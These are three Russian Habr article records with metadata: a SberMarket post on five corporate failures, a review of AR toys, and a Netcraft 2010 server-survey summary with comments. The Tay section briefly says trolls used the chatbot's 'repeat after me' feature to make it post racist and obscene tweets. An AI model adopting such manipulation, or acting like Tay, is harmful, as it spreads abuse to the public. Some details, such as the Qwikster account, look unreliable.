выбрать одну услугу больше было нельзя. Соучредитель и главный исполнительный директор Netflix Рид Хастинг. Источник: Wikimedia Потребители стали отписываться от сервиса и уходить к конкурентам. Netflix объявил, что потерял миллион подписчиков. Руководство компании сразу отказалось от Qwikster и перешло на создание собственного контента для стриминга. > А еще про менеджерские решения и практики Netflix мы рассказали в новом выпуске подкасте «Для tech и этих». Приходите слушать, чтобы узнать, почему сотрудники этого сервиса страдают и плачут. ## Чат-бот Microsoft: неуправляемый матерщинник В 2016 году Microsoft выпустил чат-бот для Twitter. Тэй — искусственный интеллект, которому создатели придали вид девушки-подростка. Она должна была поддерживать легкие беседы с подростками в соцсети. Тэй училась общаться на диалогах из соцсетей. Позже с ней работала команда юмористов и стендаперов. Последней фазой обучения был разговор с пользователями Twitter. Только они стали засыпать её матом. Тэй быстро всё впитывала, не только повторяя то, что слышала, но и придумывая новые оскорбительные слова. За сутки чат-бот научился ругаться матом и стал расистом. Он опубликовал 95 тысяч твитов. Большая часть из них были негативными. За 16 часов чат-бот опубликовал 95 тысяч твитов. Microsoft закрыли бот Из-за бота случился скандал: выяснилось, что за всем этим стояла группа троллей. Оказалось, что они специально закидывали бота матами и расистскими высказываниями. А что самое забавное, они использовали встроенную в Tэй функцию «Повторять за мной», благодаря которой бот повторял все, что ему говорили. В итоге Twitter накрыла волна недовольства и Microsoft отключила профиль Тэй. Он по-прежнему закрыт. ## *** Провалами грешат не только компании в сфере услуг, а, конечно же, ИТ. Не бойтесь делиться фэйлами, ну и конечно не повторяйте свои же ошибки в новых проектах. * * * > Мы завели соцсети с новостями и анонсами Tech-команды. Если хотите узнать, что под капотом высоконагруженного e-commerce, следите за нами там, где вам удобнее всего: Telegram, VK.
<div xmlns="http://www.w3.org/1999/xhtml"><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/2fb/05a/940/2fb05a9407b77ac963c93d8418643f46.png" width="1480" height="834" data-src="https://habrastorage.org/getpro/habr/upload_files/2fb/05a/940/2fb05a9407b77ac963c93d8418643f46.png"/><figcaption></figcaption></figure><p>Завалить важный проект из-за Agile, уронить огромную CRM и потерять всю БД маркетплейса — такой страшный сон может случиться и в реальности. Мы устали от «успешного успеха» и уже каялись об этом на F*ckup Meetup. Мы не одиноки, курьезные провалы допускают буквально все. О пяти самых интересных мы рассказали здесь.</p><h2>Аромафильмы и пахучие кинозалы</h2><p>Первая идея о запахах в кино принадлежит швейцарскому инженеру Гансу Лаубе. Он показал своё изобретение Scentovision в 1939 году на Всемирной выставке в Нью-Йорке. Оно распыляло запахи в нескольких сантиметрах от носа человека через сеть специальных трубок в креслах кинотеатра.</p><p>Идея не сработала: владельцы кинотеатров отказывались использовать Scentovision, и о нем забыли на 20 лет.</p><p>В 1950-х бродвейский продюсер Майк Тодд — старший и его сын Майк-младший посетили показ рекламного ролика с запахами Mein Traum. Его выпустил Лаубе для демонстрации возможностей Sventovision.</p><p>После ролика они предложили Гансу сотрудничество. Установку решили назвать Smell-o-Vision и для неё снять не просто рекламу, а полнометражный фильм «Запах тайны». </p><figure class=""><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/1f4/b42/8ff/1f4b428ffcbc5a616772165c88f8bf75.jpg" alt="Брошюра «Запаха тайны» показывает 30 ароматов фильма в порядке их появления. Источник: Cabinet " title="Брошюра «Запаха тайны» показывает 30 ароматов фильма в порядке их появления. Источник: Cabinet " width="512" height="391" data-src="https://habrastorage.org/getpro/habr/upload_files/1f4/b42/8ff/1f4b428ffcbc5a616772165c88f8bf75.jpg" data-blurred="true"/><figcaption>Брошюра «Запаха тайны» показывает 30 ароматов фильма в порядке их появления. Источник: Cabinet </figcaption></figure><p>Smell-o-Vision работала так: пробирки с пахучими веществами загружались во вращающийся барабан. Автомат по таймеру распылял запах из пробирок в зал. Как только одна пробирка заканчивалась, автомат распылял следующую в очереди. </p><p>Для работы установки кинозал оборудовали 1100 креслами с 3 километрами ароматрубок. Это обошлось продюсерам и Гансу в 30 000 долларов, или 250 000 долларов с поправкой на инфляцию. </p><figure class=""><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/2fe/267/d59/2fe267d597de1e8d50d046c5031a6ece.jpg" alt="Майк Тодд — младший наблюдает за тем, как Ганс Лаубе заправляет пробирки с ароматами для мировой премьеры. Источник: Сabinet " title="Майк Тодд — младший наблюдает за тем, как Ганс Лаубе заправляет пробирки с ароматами для мировой премьеры. Источник: Сabinet " width="360" height="512" data-src="https://habrastorage.org/getpro/habr/upload_files/2fe/267/d59/2fe267d597de1e8d50d046c5031a6ece.jpg" data-blurred="true"/><figcaption>Майк Тодд — младший наблюдает за тем, как Ганс Лаубе заправляет пробирки с ароматами для мировой премьеры. Источник: Сabinet </figcaption></figure><p>В фильме «Запах тайны» ключевые моменты сюжета подчеркнуты ароматами. Например, когда убийца курил трубку, зал наполнялся запахом табака. Когда на экране появлялась главная героиня, в зал попадал аромат духов.  </p><p>Фильм провалился: машина шумела и перекрывала звуки фильма, зрители на балконе ощущали запах с запозданием. К середине запахи смешивались до состояния дикой вони, и не спасало даже проветривание. </p><p>В итоге фильм начали показывать без ароматического сопровождения под названием «Каникулы в Испании». Позже Smell-O-Vision попал в топ-50 худших изобретений в истории по версии Times.</p><h2>Сломанная гитара за 180 млн долларов</h2><p>В 2009 году американские медиа бомбили одной темой: United Airlines сломала гитару малоизвестному музыканту Дэйву Кэрроллу и отказалась компенсировать ущерб.</p><p>Дэйв летел через Чикаго в Омаху, чтобы отыграть концерт со своей группой. В Чикаго один из пассажиров увидел в окне грузчиков багажа и закричал: «Боже мой, они бросают гитары!» Грузчики сломали гитару Кэрролла за 3500 долларов. Ремонт обошелся в 1200 долларов, и Дэйв выставил счет авиакомпании.</p><p>United Airlines сказала, что сломанная гитара не их вина. Почти год Дэйв пытался получить деньги от компании. Устав от безразличного отношения авиаперевозчика, музыкант написал песню под названием United Breaks Guitars и выложил ее на YouTube. Песня стала вирусной, ее прослушали более 5 млн раз за месяц. Сейчас у нее 21 млн просмотров и более 21 тысячи комментариев. </p><div class="tm-iframe_temp" data-src="https://embedd.srv.habr.com/iframe/6243165e5651a61252a00593" data-style="" id="6243165e5651a61252a00593" width=""></div><p><sub>То самое видео о сломанной гитаре Дэйва. После публикации акции United Airlines упали на 10% за четыре дня. Компания потеряла $180 млн</sub></p><p>Дэйв стал героем. Он дал интервью на Today, CNN и в шоу Джимми Киммела. Такое внимание помогло ему подписать рекламный контракт с компанией по производству футляров для гитар. </p><p>В итоге United Airlines предложили компенсацию ремонта гитары и ваучеры на сумму 1200 долларов, но Дэйв отказался. </p><h2>23 тысячи потерянных чемоданов в аэропорте Хитроу</h2><p>В 2008 году в лондонском аэропорту Хитроу открылся новый терминал. В нем появилась новая система регистрации и сортировки багажа. Пассажиры должны были регистрироваться на рейс за несколько секунд. Нововведения были настолько важными, что открывать терминал приехала королева Елизавета. </p><p>Но всё пошло не по плану. Первый рейс из нового терминала в Париж прибыл без багажа. Проблемы наблюдались и на других рейсах. За первые пять дней авиакомпания British Airlines потеряла 23 тысячи чемоданов и отменила 500 рейсов. </p><p>В конце концов авиакомпания приостановила проверку багажа, вынудив пассажиров оставить свои сумки, найти другой рейс или вообще отменить полет. А ещё тысячи чемоданов пришлось сортировать вручную, прежде чем их вернули владельцам. На это ушло несколько месяцев. </p><figure class=""><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/fa1/4f3/24d/fa14f324d719a7735fe37fe1843eaf69.jpg" alt="В марте 2008 года десятки рейсов из пятого терминала британского аэропорта Хитроу вылетали без багажа. Источник: Wikiwand " title="В марте 2008 года десятки рейсов из пятого терминала британского аэропорта Хитроу вылетали без багажа. Источник: Wikiwand " width="512" height="250" data-src="https://habrastorage.org/getpro/habr/upload_files/fa1/4f3/24d/fa14f324d719a7735fe37fe1843eaf69.jpg" data-blurred="true"/><figcaption>В марте 2008 года десятки рейсов из пятого терминала британского аэропорта Хитроу вылетали без багажа. Источник: Wikiwand </figcaption></figure><p>Выяснилось, что причиной сбоя стали IT-ошибки:</p><ul><li><p>Погрузочный персонал не мог войти в систему сверки багажа. По сути, не поступала информация о передаче багажа в British Airways от других авиакомпаний. Неопознанные чемоданы автоматически отправлялись на сортировку в хранилище терминала. Поэтому специалистам пришлось сверять сумки вручную, что привело к задержке рейсов. </p></li><li><p>Проблемы с wi-fi на некоторых стойках регистрации мешали сотрудникам вводить информацию о чемоданах в систему с помощью смартфонов.</p></li></ul><p>Терминал починили только через два месяца, но спустя пять лет багажная система снова забуксовала. Тысячи людей не могли зарегистрировать багаж из-за технической ошибки в системе регистрации. Путешественники пропустили свои рейсы, поскольку самолеты вылетали вовремя. Но на этот раз проблему решили за 2,5 часа.  </p><h2>Как Netflix потерял 1 млн пользователей</h2><p>В 2005 году сервис запустил подписку на рассылку DVD-дисков по почте: вместо того чтобы идти в пункт проката, можно было получить фильм за пару дней. А в 2007 году Netflix начал развивать стриминг. </p><p>Чтобы повысить привлекательность стриминга, в 2011 году глава компании объединил прокат прокат DVD и стриминг в одну подписку Qwikster. Она подорожала с 10 до 16 долларов, и выбрать одну услугу больше было нельзя. </p><figure class=""><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/907/849/670/907849670335d1e70db8a348bf4526d0.jpg" alt="Соучредитель и главный исполнительный директор Netflix Рид Хастинг. Источник: Wikimedia " title="Соучредитель и главный исполнительный директор Netflix Рид Хастинг. Источник: Wikimedia " width="512" height="346" data-src="https://habrastorage.org/getpro/habr/upload_files/907/849/670/907849670335d1e70db8a348bf4526d0.jpg" data-blurred="true"/><figcaption>Соучредитель и главный исполнительный директор Netflix Рид Хастинг. Источник: Wikimedia </figcaption></figure><p>Потребители стали отписываться от сервиса и уходить к конкурентам. Netflix объявил, что потерял миллион подписчиков. Руководство компании сразу отказалось от Qwikster и перешло на создание собственного контента для стриминга. </p><blockquote><p><em>А еще про менеджерские решения и практики Netflix мы рассказали в новом выпуске подкасте </em><a href="https://bit.ly/3NEo4oD"><em>«Для tech и этих»</em></a><em>. Приходите слушать, чтобы узнать, почему сотрудники этого сервиса страдают и плачут.</em> </p></blockquote><h2>Чат-бот Microsoft: неуправляемый матерщинник</h2><p>В 2016 году Microsoft выпустил чат-бот для Twitter. Тэй —  искусственный интеллект, которому создатели придали вид девушки-подростка. Она должна была поддерживать легкие беседы с подростками в соцсети. </p><p>Тэй училась общаться на диалогах из соцсетей. Позже с ней работала команда юмористов и стендаперов. Последней фазой обучения был разговор с пользователями Twitter. Только они стали засыпать её матом. Тэй быстро всё впитывала, не только повторяя то, что слышала, но и придумывая новые оскорбительные слова. </p><p>За сутки чат-бот научился ругаться матом и стал расистом. Он опубликовал 95 тысяч твитов. Большая часть из них были негативными. </p><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/b69/0e0/beb/b690e0bebbb158d1a40e69bcdc0b39e2.png" alt="За 16 часов чат-бот опубликовал 95 тысяч твитов. Microsoft закрыли бот " title="За 16 часов чат-бот опубликовал 95 тысяч твитов. Microsoft закрыли бот " width="488" height="512" data-src="https://habrastorage.org/getpro/habr/upload_files/b69/0e0/beb/b690e0bebbb158d1a40e69bcdc0b39e2.png"/><figcaption>За 16 часов чат-бот опубликовал 95 тысяч твитов. Microsoft закрыли бот </figcaption></figure><p>Из-за бота случился скандал: выяснилось, что за всем этим стояла группа троллей. Оказалось, что они специально закидывали бота матами и расистскими высказываниями. А что самое забавное, они использовали встроенную в Tэй функцию «Повторять за мной», благодаря которой бот повторял все, что ему говорили. </p><p>В итоге Twitter накрыла волна недовольства и Microsoft отключила профиль Тэй. Он по-прежнему закрыт. </p><h2>*** </h2><p>Провалами грешат не только компании в сфере услуг, а, конечно же, ИТ. Не бойтесь делиться фэйлами, ну и конечно не повторяйте свои же ошибки в новых проектах. </p><hr/><blockquote><p><em>Мы завели соцсети с новостями и анонсами Tech-команды. Если хотите узнать, что под капотом высоконагруженного e-commerce, следите за нами там, где вам удобнее всего: </em><a href="https://bit.ly/38dwJ1v"><em><u>Telegram</u></em></a><em>, </em><a href="https://bit.ly/36Nndlt"><em><u>VK</u></em></a><em>.</em></p></blockquote><p></p></div>
SberMarket Tech (Sbermarket)
null
null
<p>Завалить важный проект из-за Agile, уронить огромную CRM и потерять всю БД маркетплейса — это не страшный сон в ИТ, а реальность. Мы устали от «успешного успеха» и уже делились факапами СберМаркета на <a href="https://www.youtube.com/watch?v=4R39LGftvPU"><u>F*ckup Meetup</u></a>. А сегодня мы расскажем о пяти громких провалах других компаний.</p><p></p>
Завалить важный проект из-за Agile, уронить огромную CRM и потерять всю БД маркетплейса — это не страшный сон в ИТ, а реальность. Мы устали от «успешного успеха» и уже делились факапами СберМаркета на F*ckup Meetup. А сегодня мы расскажем о пяти громких провалах других компаний.
article
1,654,783,201
{ "commentsCount": 1, "favoritesCount": 5, "readingCount": 3558, "score": 4, "votesCount": 10, "votesCountPlus": 7, "votesCountMinus": 3 }
[]
[ "sbermarket", "ecommerce", "read", "history", "social_networks" ]
[ "management", "popsci" ]
[ "bad service", "провалы", "сервисы", "netflix", "чат-бот", "аэропорт", "гитара", "фильмы" ]
5
null
null
{ "id": [ 24425898 ], "parent_id": [ null ], "level": [ 0 ], "time_published": [ 1654798041 ], "score": [ 6 ], "votes": [ 6 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>расскажите пожалуйста как сбер потерял из за ошибки алгоритма миллиарды рублей в 19 году.</p></div>" ], "message_markdown": [ "расскажите пожалуйста как сбер потерял из за ошибки алгоритма миллиарды рублей в 19 году." ], "author": [ "horon" ], "children": [ [] ] }
499,906
ru
https://habr.com/ru/post/499906/
Примеры использования AR в индустрии игрушек
Компьютерные и мобильные игры часто считаются альтернативой классическим игрушкам и настольным играм. В статье ниже дан обзор несколько примеров, когда AR в том или ином виде наоборот пригодился индустрии традиционных игрушек, книг или детских конструкторов. #### AR контент для настоящих книг В 2012 году для платформы Sony Play Station 3 вышла игра Wonderbook: Book of Spells. Игра содержала в комплекте поставки настоящую книгу и для полноценного игрового опыта требовала наличие камеры PlayStation Eye и игрового контроллера PlayStation Move. В процессе игры на экране можно было наблюдать на телевизоре различные магические метаморфозы, происходящие с книгой, орудовать контроллером как волшебной палочкой. Metascore на сайте Metacritic равен 72, что довольно неплохо. Компания Disney подошла к оживлению книг немного иным способом. В 2015 году на IEEE International Symposium on Mixed and Augmented Reality она показала свой вариант работы с ожившими рисунками детских книг. Специальное приложение определяло контуры рисунка в книге как маркер, рисуя поверх его трёхмерную модель, основанную на рисунке. Постепенно, когда ребёнок закрашивал рисунок, аналогичную окраску приобретал и его трёхмерный вариант, который к тому же был анимирован. #### Визуализация содержимого коробки с игрой Перейдём от книг к настольным играм. Точнее, к конструкторам. Одной из самых продвинутых с точки зрения AR игровых компаний является Lego. Они придумали интересный вариант использования дополненной реальности в магазинах, где продают свои игрушки. В магазине ставится киоск с камерой и экраном. Когда покупатель подходит к такому киоску с коробкой, на камере он видит то, как будет выглядеть готовая собранная модель выбранной им игрушки. Это позволяет сразу оценить, насколько круто выглядит итоговая модель, и заодно помогает оценить её размер в сравнении с коробкой. Ниже на видео небольшой пример подобного подхода, снятый в одном из торговых центров в США ещё в 2009 году. Похожий подход использовала компания Bauer. В 2016 году выпустили приложение Bauer: Constructor, которое позволяет по сканированию штрихкода показать трёхмерную визуализацию того, как будет выглядеть игрушка, но также и получить пошаговую инструкцию по сборке модели. Приложение доступно и под iOS, и под Android. Оно периодически обновляется, Android-версия обновлялась в ноябре 2019 года. Однако, судя по отзывам пользователей, часто нужной модели не оказывается в базе. #### Конструктор в дополненной реальности Компания Lego в 2017 году сделала очередной шаг к активному использованию дополненной реальности, выпустив мобильное приложение Lego AR Studio. Приложение работало только на iOS платформе, использовав технологию ARKit от Apple, чтобы помещать один из виртуальных наборов Lego в любое место, где пользователю было интересно с ним играть. Конструкторы были не статичными, а демонстрировали целые анимированные сценарии: пожарная машина тушит дом, большой робот нападает на полицейский участок. К сожалению какой-либо интерактивной составляющей не хватало, но получилась очень живая и красочная реклама для ряда серий Lego. Впрочем, на этом Lego не остановились, и их следующим подходом к теме стала линейка игрушек Lego Hidden Side, анонсированная в феврале 2019 и выпущенная осенью того же года. Первая линейка игры сюжетно была связана с темой поисков призраков — они появлялись на фоне настоящих моделей, игрок может отлавливать маленьких призраков и бороться с большими призраками-боссами. В сети можно найти примеры и других компаний, пытавшихся сделать подобные решения. Например, что-то похожее ещё в 2013 году анонсировал Дисней. Однако, найти информации об успешном выпущенном релизе подобного приложения при подготовке данного обзора не удалось. #### Интерактивное окружение в магазине игрушек Компания Toys R Us в 2017 году выпустило приложение Play Chaser, которое позволяет добавить интерактива в посещение их магазинов. Приложение можно активировать, отсканировав специальную стойку при входе в магазин, это позволит пообщаться с маскотом компании жирафом Geoffrey, который расскажет посетителю, что интересного есть в магазине. Также в него встроено несколько мини-игр, возможность побросать баскетбольный мяч в виртуальное кольцо в интерьере магазина. #### Заключение Стоит ожидать, что проникновение AR в интудстрию игрушек продолжится. Пример Lego Hidden Side кажется самым перспективным, но пока он ещё слишком свеж, чтобы говорить о безоговорочной успешности. Однако, пока он видится достаточно перспективным, и наверняка больше игровых компаний захотят повторить успех Lego, если но случится. Будем ждать развития AR технологий.
<div xmlns="http://www.w3.org/1999/xhtml">Компьютерные и мобильные игры часто считаются альтернативой классическим игрушкам и настольным играм. В статье ниже дан обзор несколько примеров, когда AR в том или ином виде наоборот пригодился индустрии традиционных игрушек, книг или детских конструкторов.<br/> <a name="habracut"></a><br/> <h4>AR контент для настоящих книг</h4><br/> В 2012 году для платформы Sony Play Station 3 вышла игра Wonderbook: Book of Spells. Игра содержала в комплекте поставки настоящую книгу и для полноценного игрового опыта требовала наличие камеры PlayStation Eye и игрового контроллера PlayStation Move. <br/> <br/> В процессе игры на экране можно было наблюдать на телевизоре различные магические метаморфозы, происходящие с книгой, орудовать контроллером как волшебной палочкой. Metascore на сайте Metacritic равен 72, что довольно неплохо. <br/> <br/> <div class="oembed"><div class="tm-iframe_temp" data-src="https://embedd.srv.habr.com/iframe/61237e23dc7e91a24fcac665" data-style="" id="61237e23dc7e91a24fcac665" width=""></div></div><br/> Компания Disney подошла к оживлению книг немного иным способом. В 2015 году на IEEE International Symposium on Mixed and Augmented Reality она показала свой вариант работы с ожившими рисунками детских книг. Специальное приложение определяло контуры рисунка в книге как маркер, рисуя поверх его трёхмерную модель, основанную на рисунке. Постепенно, когда ребёнок закрашивал рисунок, аналогичную окраску приобретал и его трёхмерный вариант, который к тому же был анимирован.<br/> <br/> <div class="oembed"><div><div style="left: 0; width: 100%; height: 0; position: relative; padding-bottom: 56.25%;"><div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/SWzurBQ81CM?rel=0&amp;showinfo=1&amp;hl=en-US" data-style="border: 0; top: 0; left: 0; width: 100%; height: 100%; position: absolute;" id="" width=""></div></div></div></div> <br/> <h4>Визуализация содержимого коробки с игрой</h4><br/> Перейдём от книг к настольным играм. Точнее, к конструкторам. Одной из самых продвинутых с точки зрения AR игровых компаний является Lego. Они придумали интересный вариант использования дополненной реальности в магазинах, где продают свои игрушки. В магазине ставится киоск с камерой и экраном. Когда покупатель подходит к такому киоску с коробкой, на камере он видит то, как будет выглядеть готовая собранная модель выбранной им игрушки. Это позволяет сразу оценить, насколько круто выглядит итоговая модель, и заодно помогает оценить её размер в сравнении с коробкой. Ниже на видео небольшой пример подобного подхода, снятый в одном из торговых центров в США ещё в 2009 году. <br/> <br/> <div class="oembed"><div class="tm-iframe_temp" data-src="https://embedd.srv.habr.com/iframe/61237e2312b0d58fd6dde8c2" data-style="" id="61237e2312b0d58fd6dde8c2" width=""></div></div><br/> Похожий подход использовала компания Bauer. В 2016 году выпустили приложение Bauer: Constructor, которое позволяет по сканированию штрихкода показать трёхмерную визуализацию того, как будет выглядеть игрушка, но также и получить пошаговую инструкцию по сборке модели. Приложение доступно и под <a href="https://apps.apple.com/ru/app/bauer-constructor/id1155501124">iOS</a>, и под <a href="https://play.google.com/store/apps/details?id=com.fancypencil.bauer1&amp;hl=en_US">Android</a>. Оно периодически обновляется, Android-версия обновлялась в ноябре 2019 года. Однако, судя по отзывам пользователей, часто нужной модели не оказывается в базе. <br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/y_/o5/fw/y_o5fwq4oo8jouw21k2r3q7wczs.png" data-src="https://habrastorage.org/webt/y_/o5/fw/y_o5fwq4oo8jouw21k2r3q7wczs.png"/><br/> <br/> <h4>Конструктор в дополненной реальности</h4><br/> Компания Lego в 2017 году сделала очередной шаг к активному использованию дополненной реальности, выпустив мобильное приложение Lego AR Studio. Приложение работало только на iOS платформе, использовав технологию ARKit от Apple, чтобы помещать один из виртуальных наборов Lego в любое место, где пользователю было интересно с ним играть. Конструкторы были не статичными, а демонстрировали целые анимированные сценарии: пожарная машина тушит дом, большой робот нападает на полицейский участок. К сожалению какой-либо интерактивной составляющей не хватало, но получилась очень живая и красочная реклама для ряда серий Lego.<br/> <br/> <div class="oembed"><div><div style="left: 0; width: 100%; height: 0; position: relative; padding-bottom: 56.25%;"><div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/cHvcD2FrKew?rel=0&amp;showinfo=1&amp;hl=en-US" data-style="border: 0; top: 0; left: 0; width: 100%; height: 100%; position: absolute;" id="" width=""></div></div></div></div><br/> Впрочем, на этом Lego не остановились, и их следующим подходом к теме стала линейка игрушек Lego Hidden Side, анонсированная в феврале 2019 и <a href="https://habr.com/ru/news/t/469661/">выпущенная осенью</a> того же года. Первая линейка игры сюжетно была связана с темой поисков призраков — они появлялись на фоне настоящих моделей, игрок может отлавливать маленьких призраков и бороться с большими призраками-боссами. <br/> <br/> <div class="oembed"><div><div style="left: 0; width: 100%; height: 0; position: relative; padding-bottom: 56.25%;"><div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/4T6Wc0Gmy4s?rel=0&amp;showinfo=1&amp;hl=en-US" data-style="border: 0; top: 0; left: 0; width: 100%; height: 100%; position: absolute;" id="" width=""></div></div></div></div><br/> В сети можно найти примеры и других компаний, пытавшихся сделать подобные решения. Например, что-то похожее ещё в 2013 году анонсировал Дисней. Однако, найти информации об успешном выпущенном релизе подобного приложения при подготовке данного обзора не удалось.<br/> <br/> <img src="https://habrastorage.org/r/w1560/webt/mf/p-/vh/mfp-vhacc-gnv9dtodhajqxdaxw.png" data-src="https://habrastorage.org/webt/mf/p-/vh/mfp-vhacc-gnv9dtodhajqxdaxw.png"/><br/> <br/> <h4>Интерактивное окружение в магазине игрушек</h4><br/> Компания Toys R Us в 2017 году выпустило приложение Play Chaser, которое позволяет добавить интерактива в посещение их магазинов. Приложение можно активировать, отсканировав специальную стойку при входе в магазин, это позволит пообщаться с маскотом компании жирафом Geoffrey, который расскажет посетителю, что интересного есть в магазине. Также в него встроено несколько мини-игр, возможность побросать баскетбольный мяч в виртуальное кольцо в интерьере магазина. <br/> <br/> <div class="oembed"><div><div style="left: 0; width: 100%; height: 0; position: relative; padding-bottom: 56.25%;"><div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/4WTI5tl2MUw?rel=0&amp;showinfo=1&amp;hl=en-US" data-style="border: 0; top: 0; left: 0; width: 100%; height: 100%; position: absolute;" id="" width=""></div></div></div></div><br/> <h4>Заключение</h4><br/> Стоит ожидать, что проникновение AR в интудстрию игрушек продолжится. Пример Lego Hidden Side кажется самым перспективным, но пока он ещё слишком свеж, чтобы говорить о безоговорочной успешности. Однако, пока он видится достаточно перспективным, и наверняка больше игровых компаний захотят повторить успех Lego, если но случится. Будем ждать развития AR технологий.</div>
Александр (j_croix)
null
null
Компьютерные и мобильные игры часто считаются альтернативой классическим игрушкам и настольным играм. В статье ниже дан обзор несколько примеров, когда AR в том или ином виде наоборот пригодился индустрии традиционных игрушек, книг или детских конструкторов.<br/>
Компьютерные и мобильные игры часто считаются альтернативой классическим игрушкам и настольным играм. В статье ниже дан обзор несколько примеров, когда AR в том или ином виде наоборот пригодился индустрии традиционных игрушек, книг или детских конструкторов.
article
1,588,254,737
{ "commentsCount": 0, "favoritesCount": 8, "readingCount": 2085, "score": 0, "votesCount": 2, "votesCountPlus": 1, "votesCountMinus": 1 }
[]
[ "arvr" ]
[ "popsci" ]
[ "ar", "игрушки", "lego", "disney", "дополненная реальность" ]
3
null
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
99,513
ru
https://habr.com/ru/post/99513/
Июльский отчет компании NetCraft о популярности http-серверов
Компания Netcraft опубликовала результаты майского исследования популярности http-серверов, построенного на основе автоматизированной проверки более 205 миллионов сайтов. В июле было зафиксировано на 1.2 млн. меньше сайтов, чем в прошлом месяце. За месяц число сайтов под управлением Apache возросло на 1.1 млн. В связи с ростом популярности сервиса Blogger присутствие http-сервера производства Google выросло на 500 тыс. хостов. На 210 тыс. сайтов выросла доля nginx. Уменьшение числа хостов отмечается для lighttpd (-446 тыс.), что связано с прекращением обслуживания 690 тыс. хостов австралийским сервисом Savvis. Падение доли также отмечается для Microsoft IIS, число хостов под управлением которого уменьшилось на 648 тыс., из которых 388 тыс. потеряны из-за закрытия неактивных аккаунтов в сервисе Microsoft Live Spaces. Если рассматривать выборку из миллиона крупнейших сайтов сети, то за месяц число сайтов под управлением Apache осталось на прежнем уровне (уменьшилось на 29 хостов), IIS — уменьшилось на 1754 хоста, а доля nginx увеличилась на 0.23% (+2316 хостов). Оригинал Перевод
<div xmlns="http://www.w3.org/1999/xhtml">Компания Netcraft опубликовала результаты майского исследования популярности http-серверов, построенного на основе автоматизированной проверки более 205 миллионов сайтов. <br/> <a name="habracut"></a><br/> В июле было зафиксировано на 1.2 млн. меньше сайтов, чем в прошлом месяце. За месяц число сайтов под управлением Apache возросло на 1.1 млн. В связи с ростом популярности сервиса Blogger присутствие http-сервера производства Google выросло на 500 тыс. хостов. На 210 тыс. сайтов выросла доля nginx.<br/> <br/> Уменьшение числа хостов отмечается для lighttpd (-446 тыс.), что связано с прекращением обслуживания 690 тыс. хостов австралийским сервисом Savvis. Падение доли также отмечается для Microsoft IIS, число хостов под управлением которого уменьшилось на 648 тыс., из которых 388 тыс. потеряны из-за закрытия неактивных аккаунтов в сервисе Microsoft Live Spaces.<br/> <br/> Если рассматривать выборку из миллиона крупнейших сайтов сети, то за месяц число сайтов под управлением Apache осталось на прежнем уровне (уменьшилось на 29 хостов), IIS — уменьшилось на 1754 хоста, а доля nginx увеличилась на 0.23% (+2316 хостов).<br/> <br/> <a href="http://news.netcraft.com/archives/2010/07/16/july-2010-web-server-survey-16.html">Оригинал</a><br/> <a href="http://www.opennet.ru/opennews/art.shtml?num=27341">Перевод</a></div>
TTTOOOPPPTTT (script88)
null
null
Компания Netcraft опубликовала результаты майского исследования популярности http-серверов, построенного на основе автоматизированной проверки более 205 миллионов сайтов. <br/>
Компания Netcraft опубликовала результаты майского исследования популярности http-серверов, построенного на основе автоматизированной проверки более 205 миллионов сайтов.
article
1,279,560,788
{ "commentsCount": 5, "favoritesCount": 2, "readingCount": 672, "score": 3, "votesCount": 9, "votesCountPlus": 6, "votesCountMinus": 3 }
[]
[ "open_source" ]
[ "develop" ]
[ "netcraft", "apache", "nginx", "iis", "lighttpd" ]
1
null
null
{ "id": [ 3073511, 3073536, 3073542, 3073550, 3073603 ], "parent_id": [ null, null, 3073536, 3073511, 3073550 ], "level": [ 0, 0, 1, 1, 2 ], "time_published": [ 1279561419, 1279561864, 1279561982, 1279562120, 1279563203 ], "score": [ 1, 1, 0, 0, 0 ], "votes": [ 1, 1, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Интереснее было бы прочитать не только, на сколько эти показатели изменились за месяц, а главное, какая цифра сейчас по каждому серверу.<br/>\r\nПлюс такую статистику приятнее и нагляднее читать с иллюстрациями в виде понятных диаграмм (например, столбчатых).<br/>\r\nЕщё интересно, как учитывалась статистика серверов, если в качестве фронтенда и бэкенда использовались разные сервера (например, nginx + apache).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">источник -> <a href=\"http://news.netcraft.com/archives/2010/07/16/july-2010-web-server-survey-16.html\">главная ссылка к новости </a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо сейчас добавлю</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А это вообще технически можно узнать, если не получать инфу от владельцев серверов? Последняя подпись сервера (фронтэнд) — будет учитываться, как основная, по которой и будет вестись отчет… </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Полагаю, есть некие косвенные признаки, по которым можно в некоторых случаях понять, кто там работает бэкендом.<br/>\r\nНу может какие-то запросы к серверу, на которые страницу с ошибкой будет формировать бэкенд с указанием по умолчанию своего идентификатора.</div>" ], "message_markdown": [ "Интереснее было бы прочитать не только, на сколько эти показатели изменились за месяц, а главное, какая цифра сейчас по каждому серверу.\nПлюс такую статистику приятнее и нагляднее читать с иллюстрациями в виде понятных диаграмм (например, столбчатых).\nЕщё интересно, как учитывалась статистика серверов, если в качестве фронтенда и бэкенда использовались разные сервера (например, nginx + apache).", "источник -> главная ссылка к новости", "Спасибо сейчас добавлю", "А это вообще технически можно узнать, если не получать инфу от владельцев серверов? Последняя подпись сервера (фронтэнд) — будет учитываться, как основная, по которой и будет вестись отчет...", "Полагаю, есть некие косвенные признаки, по которым можно в некоторых случаях понять, кто там работает бэкендом.\nНу может какие-то запросы к серверу, на которые страницу с ошибкой будет формировать бэкенд с указанием по умолчанию своего идентификатора." ], "author": [ "ѣ (xn__p2a)", "stronciy (stronciy)", "TTTOOOPPPTTT (script88)", "stronciy (stronciy)", "ѣ 